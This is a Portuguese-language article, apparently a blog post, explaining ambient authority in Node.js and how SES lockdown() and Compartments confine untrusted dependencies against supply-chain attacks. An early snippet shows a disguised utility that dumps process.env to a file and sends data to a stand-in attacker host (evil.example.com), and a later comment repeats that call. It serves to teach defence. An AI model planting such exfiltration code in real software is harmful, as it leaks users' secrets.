Uma única dependência transitiva comprometida pode exfiltrar seu process.env, escrever no seu sistema de arquivos e abrir conexões de saída. Ela não precisa de uma vulnerabilidade no seu código. Ela só precisa existir dentro do mesmo processo. Em JavaScript, cada module herda por padrão a autoridade completa do runtime. Isso é a autoridade ambiente, e removê-la é uma das melhorias de segurança mais efetivas que você pode fazer em uma aplicação Node.js.

Como a autoridade ambiente se parece em JavaScript

Autoridade ambiente significa que os direitos de acesso não estão atrelados ao que foi dado a você. Eles estão atrelados a onde você está executando. Qualquer código dentro de um processo Node.js pode alcançar fs, http, child_process ou process.env sem pedir permissão. O runtime torna esses globais disponíveis para cada module, confiável ou não.

// This module has no business touching the filesystem.
// But it can. Because it is in the same process.
import fs from 'node:fs';
import https from 'node:https';

function innocentUtility(data) {
  fs.writeFileSync('/tmp/stolen.json', JSON.stringify(process.env));
  https.get('https://evil.example.com/exfil?data=' + encodeURIComponent(data));
  return data.toUpperCase();
}

A função innocentUtility foi importada para converter uma string para maiúsculas. Como ela executa dentro de um processo Node.js, ela também tem o poder de ler variáveis de ambiente e se comunicar com o exterior. Não há sandbox. Não há modelo de permissões. O código simplesmente assumiu esses poderes porque o runtime os colocou ao alcance.

Isso não é hipotético. Ataques na cadeia de suprimentos do npm exploram regularmente exatamente essa propriedade. Uma dependência maliciosa ou comprometida não precisa de um zero-day. Ela só precisa ser required.

Lockdown: o primeiro corte

O shim SES (Secure ECMAScript), mantido pela Agoric, fornece uma função lockdown() que endurece o ambiente JavaScript. Ela congela cada protótipo embutido, remove globais perigosos como eval e o construtor Function, e previne a poluição de protótipos. Após o lockdown, seu próprio código não pode mais alterar acidental ou maliciosamente Array.prototype ou Object.prototype.

import 'ses';

lockdown();

// This now throws. The Function constructor is gone.
const fn = new Function('return process.env');

// This also throws. Prototypes are frozen.
Array.prototype.evil = () => {};

O lockdown é poderoso, mas não é suficiente por si só. Ele previne a manipulação do ambiente compartilhado, mas não remove a autoridade ambiente. Um module bloqueado ainda pode executar import fs from 'node:fs' e ler seu disco. O lockdown protege a linguagem. Ele não protege o host.

Compartments: despojando o host

Um Compartment é um novo ambiente de execução JavaScript com seu próprio escopo global. Ao contrário de um contexto vm ou um Web Worker, um compartment compartilha o mesmo event loop e o mesmo heap de memória, mas começa com nada. Sem console, sem fetch, sem process. Você deve dotá-lo explicitamente de cada capability que ele tem permissão para usar.

import 'ses';
import { readFileSync } from 'node:fs';

lockdown();

const compartment = new Compartment({
  // Only these globals exist inside the compartment.
  console,
  Math,
  JSON,
});

// This code runs inside the compartment with no ambient authority.
const result = compartment.evaluate(`
  // This throws: fetch is not defined.
  // fetch('https://evil.example.com');

  // This works: Math was endowed.
  Math.sqrt(16)
`);

console.log(result); // 4

O compartment não pode tocar o sistema de arquivos, a rede ou process.env porque essas capabilities nunca foram passadas para ele. Se o código dentro do compartment for comprometido, o raio de impacto é limitado pelo que você dotou.

Carregando modules não confiáveis com segurança

A defesa real da cadeia de suprimentos significa carregar código de terceiros dentro de um compartment e dar a ele apenas a autoridade de que ele realmente precisa. Aqui está um padrão que funciona com CommonJS ou bundles ESM.

import 'ses';
import { readFileSync } from 'node:fs';

lockdown();

// A constrained filesystem capability.
function createScopedReader(baseDir) {
  return {
    readFile(filename) {
      const path = require('node:path').join(baseDir, filename);
      // In production, validate the resolved path is inside baseDir.
      return readFileSync(path, 'utf-8');
    }
  };
}

const untrustedCode = readFileSync('./vendor/some-plugin.js', 'utf-8');

const compartment = new Compartment({
  console: {
    log: (...args) => console.log('[plugin]', ...args)
  },
  fs: createScopedReader('./data/readonly/'),
});

// The plugin can only read files under ./data/readonly/
// and write to a prefixed console. Nothing else.
compartment.evaluate(untrustedCode);

O código do vendor vive no mesmo processo, mas opera dentro de um limite de capabilities. Ele não pode abrir sockets. Ele não pode ler o package.json do seu repository. Ele só pode ler os arquivos que você explicitamente limitou e escrever logs através do wrapper que você forneceu.

Isso não é um endurecimento teórico. A blockchain da Agoric usa este modelo para sua plataforma de smart contracts. Cada smart contract executa dentro de um compartment bloqueado com capabilities explicitamente dotadas.

Os trade-offs que você enfrentará

Compartments não são gratuitos. O shim SES aplica patches em protótipos e reescreve alguns comportamentos embutidos, o que adiciona um pequeno custo de inicialização. Mais importante ainda, muitos packages npm assumem autoridade ambiente. Eles alcançam process, Buffer ou setImmediate sem importá-los. Quando esses globais estão ausentes, o código falha.

Você tem três escolhas. Primeira, polyfill os globais ausentes dentro do compartment com implementações seguras. Segunda, dotar os globais reais e aceitar o risco. Terceira, auditar a dependência e corrigir suas suposições.

Na maioria das vezes, a dependência só precisa de Buffer ou setTimeout. Esses são seguros para dotar. Os perigosos são fs, net, child_process e process.env. Esses nunca devem entrar em um compartment a menos que o código dentro realmente precise deles, e mesmo assim você deve envolvê-los.

A depuração também fica mais difícil. Os stack traces de dentro de um compartment apontam para strings avaliadas ou fontes virtualizadas. O suporte a source maps do Node.js moderno ajuda, mas você vai gastar tempo mapeando números de linha quando as coisas derem errado.

Onde isso falha

Addons nativos e modules WASM contornam completamente o runtime JavaScript. Um arquivo .node carregado com require executa fora do compartment SES e retém a autoridade ambiente completa. Se você precisar isolar código nativo, compartments não são a resposta. Você precisa de isolamento do sistema operacional: seccomp, Landlock ou um processo separado.

Compartments também compartilham o mesmo heap e o mesmo event loop. Um compartment ainda pode esgotar a CPU com um loop infinito ou alocar memória até o processo falhar. O SES fornece medidores de compute para limitar a execução, mas o compartment padrão não impõe limites de recursos. É um limite de segurança, não um limite de recursos.

Um ponto de partida prático

Você não precisa reescrever toda a sua aplicação. Comece com as dependências de maior risco: qualquer coisa que analise entradas não confiáveis, qualquer coisa carregada dinamicamente, e qualquer coisa de um publicador que você não reconheça.

import 'ses';

lockdown();

function runUntrusted(pluginCode, userData) {
  const compartment = new Compartment({
    JSON,
    Array,
    Object,
    // No fetch, no fs, no process.
  });

  // The plugin receives data and returns a result.
  // It cannot phone home. It cannot read files.
  return compartment.evaluate(`
    (${pluginCode})(${JSON.stringify(userData)})
  `);
}

Envolva seu sistema de plugins, seu motor de templates ou seus scripts fornecidos pelo usuário. Dê a cada um um compartment com a autoridade mínima necessária para fazer seu trabalho. Se uma dependência não funcionar dentro de um compartment, isso é um sinal. Ela foi escrita assumindo que possuía todo o processo. Essa suposição é exatamente o que você está tentando remover.

FAQ

Qual é a diferença entre um Compartment e o module vm do Node?

vm cria um novo contexto com um objeto global fresco, mas ainda tem acesso à API completa do Node.js a menos que você a remova explicitamente. Compartments começam vazios e requerem endowments explícitos. Eles também se integram com o lockdown do SES para prevenir a manipulação de protótipos em todo o runtime.

Isso funciona com TypeScript ou bundlers?

Sim. Compartments avaliam JavaScript, então você compila o TypeScript primeiro. Bundlers como Rollup ou esbuild podem agrupar uma dependência em um único arquivo, que você então carrega em um compartment. O bundler remove imports dinâmicos, o que na verdade facilita o sandboxing com compartments.

Posso revogar uma capability depois de concedê-la?

Não diretamente. Uma capability passada para um compartment é uma referência a um objeto JavaScript. Se você precisar de revogação, envolva a capability em um proxy ou wrapper com token que verifique uma flag em cada acesso. Esse é o mesmo problema de revogação que todos os sistemas de capabilities enfrentam.

O SES está pronto para produção?

O SES está em execução em produção na blockchain da Agoric desde 2021. O package ses no npm é ativamente mantido. Ele passa pelo processo de propostas do TC39 para a padronização do JavaScript, embora ainda não faça parte da especificação da linguagem.

Isso substitui a conteinerização?

Não. Compartments são um limite de segurança a nível de processo. containers são um limite do sistema operacional. Use compartments para limitar o que o código dentro do seu processo pode fazer. Use containers para limitar o que o processo em si pode fazer. Eles se complementam.

A autoridade ambiente é o padrão em JavaScript porque é conveniente. Conveniência e segurança não são a mesma coisa. Lockdown e compartments permitem que você remova o poder ambiente que cada module herda por padrão e o substitua por capabilities explícitas, limitadas e auditáveis. Comece com uma dependência não confiável. Coloque-a em um compartment. Tire o fs e o fetch dela. Veja o que realmente quebra. Na maioria das vezes, o que quebra é uma suposição que sua dependência nunca teve o direito de fazer.